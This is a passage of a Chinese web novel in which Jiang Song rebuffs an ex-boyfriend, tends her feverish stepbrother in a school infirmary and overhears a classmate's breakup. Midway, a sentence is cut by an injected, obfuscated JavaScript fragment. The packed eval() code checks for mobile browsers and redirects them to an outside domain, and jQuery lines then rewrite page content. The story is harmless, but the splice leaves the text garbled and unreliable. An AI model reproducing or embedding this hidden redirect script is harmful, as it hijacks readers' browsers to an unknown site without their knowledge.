感谢也不能只是嘴上说说,姜颂在餐厅吃饭的时候就开始着手挑选礼物,当做给徐逢春的谢礼。
毕竟未来她还有需要她的时候。
她离开餐厅时已经订购了神匠当季的新款中号荔枝皮背包,紧接着她没有同往常一样闲逛,而是先去门卫处取走了装着盲盒的手提袋,随后直接回了休息室。
来到门前,她刚要用抬手解锁进入房间,却接到了一个陌生来电。
接起后,那头传来一道女音。
“喂,您好,请问是姜学姐吗?我是姜知律的同班同学,他今天上课突然晕倒了,现在人还在医务室……如果您现在有时间的话,可以来一下吗?”
女生说话轻声细语,也很有礼貌。不过此刻姜颂的注意力没有放在对方身上,所以自然没怎么细想姜知律人都在医务室了叫她去又有什么用。
她表情不愉的后退一步看着门底处的缝隙,语气却十分平缓,“好的,我一会儿就到。”
得到了答复后姜颂扣下电话,她点开那个给她发了无数条信息的陌生号码,随即拨通。
“在我回来之前把房间打扫干净。”
姜颂压低的声线里混杂着碎冰,私人领域被人侵.犯,很难不让人恼怒,“我不想重新换休息室,这样很麻烦。”
申换休息室需要提出书面申请,一套流程走下来至少需要四五天的时间。
然而号码的主人像是十分委屈,“颂颂,我只是想——”
“你想什么?”
姜颂盯着门缝处被遮挡的光线,像是想起了什么,拉平的唇线缓慢勾起,带上了些许讽刺意味,“你应该记得我们已经分手了吧?”
那人像是被扼住了喉咙,好半天都没说出话来,只有逐渐涌上来的急促的呼吸声。
隐约听到有什么东西掉落在地,甚至弹起的响动,姜颂不感兴趣的转身,她最后撂下一句:“别让我更烦你。”
她不等对方回应便掐断电话,随后她瞥了眼手里的袋子,心道显然有人更需要它,接着便下楼离开,前往医务室。
中午时的学院也算热闹,除了午休,也有许多娱乐场所可供选择,至少她能隐约听到来自室外篮球场的欢呼声。
而圣德利亚的医务室距离教学楼不远,建筑设有两层,且医护资质过关,能处理绝大多数的小病小痛,不过即便如此,更多的学生还是会选择离校就医。
姜颂没花多长时间就抵达了这里,只不过她不清楚姜知律位于哪个诊室,便第一时间咨询了导医台的护士。
“你说那个发高烧的男学生?”
护士放下手里的手册,给她指了个方向,“他在六号输液室,门开着,你进去就行。”
“学习是很重要,但是心里也得有个数,烧到四十度还来学校,也不知道是来上课还是来遭罪的。”
大概是出于职业敏感性,护士又指了指她左手上包扎并不专业的纱布绷带,并绕出导医台,“学生,你的手怎么了?”
“被猫抓了。”
姜颂也不掩饰,她顺从的站在原地,任由护士揭开纱布绷带。
护士捏着纱布,低头观察她的伤口,“自己家里养的猫?打没打疫苗?”
“家猫,”姜颂说:“打了全程疫苗。”
“那一会儿你先别走,我给你清清创,”护士将纱布扔进医疗垃圾桶里,“伤口晾着不要捂,后期少沾水,我瞧着有点要化脓。”
姜颂道了句谢,接着便拐进走廊,照着护士的指示去了六号输液室。
大概是为了方便观察病人的情况,所以输液室内用半透明半磨砂的玻璃作为隔断,角落里摆着几盆绿植,窗户半敞,通风情况也很不错。
六号输液室内设有四张床位,但现在大都空着,唯有靠床的位置半拉着蓝色的床帘,而身穿运动服的女生正坐在床尾处的椅子上,见她过来便站起了身。
“您好,”女生看起来有些拘谨,像是怕打扰人休息,她小声问:“您是姜学姐吗?”
“对。”
姜颂走过去,她一边说一边看向躺在床上的姜知律,对方正合眼睡着觉,只是他眉头蹙着,面色苍白,似乎睡的不太安稳,“你是……?”
“学姐,我是C班的班长,”女生简单的说明一下情况,“是这样的,当时大家在上排球课,热身的时候姜同学忽然晕倒了……因为情况看起来比较严重,所以送来医务室之后本来要给家里人打电话。但是姜同学正好醒过来,怎么也不肯给家长打电话,老师劝了很久他才说要打给学姐你,所以就……”
女班长犹豫了几秒,像是在考虑接下来的话该不该说,“而且,老师说在学姐来之前先让我暂时陪同一会儿。”
“……”
闻言姜颂心想姜知律还算有点眼力见,知道这时候不能打扰在外出差的妈妈让她分心,她估摸着C班的班长这会儿连饭都没吃,便语带感谢的将手提袋递过去:“谢谢你学妹,这是一点心意,抱歉耽误你这么长的时间。”
“不客气学姐,我们都是同学,偶尔帮一下忙也没什么。”
女班长显然也不想在这里多待,她先是摆了摆手,最终还是一边客套一边接过手提袋,“谢谢你学姐,那……没什么事的话我就先走了,学姐再见。”
姜颂微笑着回了句再见,见对方的身影彻底消失,这才坐在了女班长先前坐的位置上,她看了眼输液架上挂着的两瓶液体,觉得至少还得耗费一个多小时的时间。
于是她又将椅子搬到了床头柜旁,手臂搭在上面玩手机。
那个号码发来一堆未读消息。
【颂颂我错了,对不起,我下次不会这样了。】
【求求你了颂颂,别不要我,我错了我真的错了。】
【别讨厌我好不好……】
后面乱七八糟,颠三倒四的句子没让姜颂心里起半点波澜,她一边浏览一边还有心思想着自己周末的安排,除了要在周日下午看一场公益话剧,顺便让代理人去拍卖会竞拍一顶工艺复杂的纯红钻石冠冕外,她其余的时间都空着,可以好好整理关于何筝的事情,又或者享受个人空间。
而与她合作的这位女性代理人从业多年,行事风格老练,姜颂除了需要签下授权委托书外,后续的一切都不需要她来操心。
这么想着,一抹鲜红却兀地从脑海中浮现而出,姜颂点开女性代理人之前发来的拍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328267|183133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卖行展品电子图册,在找到某样拍品后,给对方发了条信息。
在得到肯定的答复后,她满意的收起手机。
没一会儿护士就来帮她清理了伤口,并叮嘱她先不要走。由于中午只有两位医护值班,而姜知律又因为高烧一直在睡觉,无法自己摁铃,所以她最好是能多待一会儿就待一会儿。
姜颂自然满口答应。
毕竟她现在又回不了休息室,而姜知律目前除了能呼吸以外,和具尸体没什么区别,所以她在哪儿待着都一样,更何况这里还安静。
等护士推着治疗车离开,姜颂也有了困意,生物钟太准有时也不见得是什么好事,她捏了捏鼻梁,见输液瓶里的液体还剩下大半,便估摸了个时间为自己订了闹钟,随即摁下了蓝色开关。
透明的玻璃立即变色,雾蒙蒙的一片,让外人无法窥探屋内的景色。
她将手臂支在柜面上,撑着侧脸准备小睡片刻。
姜颂入睡的速度很快,没一会儿她的意识犹如崩断了线的风筝,越飘越远。然而在梦中,不管她走到哪里,粘腻晦涩的视线都像蛇一样将她紧紧缠绕,不肯脱离分毫。
不知过了多久,突兀的喧闹声将她惊醒,姜颂的手一歪头一沉,那种自高空坠落的失重感令她心悸不已。
“……”
思维还有些混沌的姜颂睁开双眼,漆黑的眸中含着清晰可见的烦躁,还不等她用心去听,不知名的争吵就被医生护士平息了下去。
她深吸一口气捏了捏发凉的指腹,这才看向病床上的姜知律。
对方还同刚才一样熟睡,甚至姿势都没有改变,而即便他面带病色,却也依旧清俊好看。
然而晃动着的输液器却在提示着她某些异常之处。
于是姜颂整理了一下毫无褶皱的裙面,“醒了?”
姜知律没有动,仿佛睡的正沉。
姜颂也不管他,而是起身继续说:“我不说第二遍。”
她话音刚落,男生的睫毛一颤,随后睁开琥珀色的眼望向她,大概是因为发烧的缘故,所以他的眼尾和结膜都稍稍泛红,像哭过似的。
“……姐姐,谢谢你能过来。”
姜知律平日里清冷的声线在此刻带着点哑意,以及被揭穿的窘迫,仿佛自己做了什么错事,他垂下眼睫,难得显出几分湿漉漉的可怜,“我没有告诉姜阿姨。”
这副脆弱的神情惹人垂怜。
但她现在没什么心情去欣赏,反而十分无语,心说难道自己还得夸夸他吗?
她没有理会,结果刚走到门口就听到了一道熟悉的声音自外传来。
是陆允谌。
“行了,有什么可哭的。”
他十分刻薄无情的说:“既然分手了以后就别再联系我,你让你朋友过来接你走。”
女生不可置信的回,声音哽咽,“陆允谌你有没有心?你告诉我,你是不是根本就没喜欢过我?!”
这女声她听着也有点印象,大概就是音乐馆楼道里的那一位。
不过姜颂不想打探这种隐私,更何况她对他们也不感兴趣,本着不触霉头的心理,她抬手关上玻璃门,接着转身回了输液室。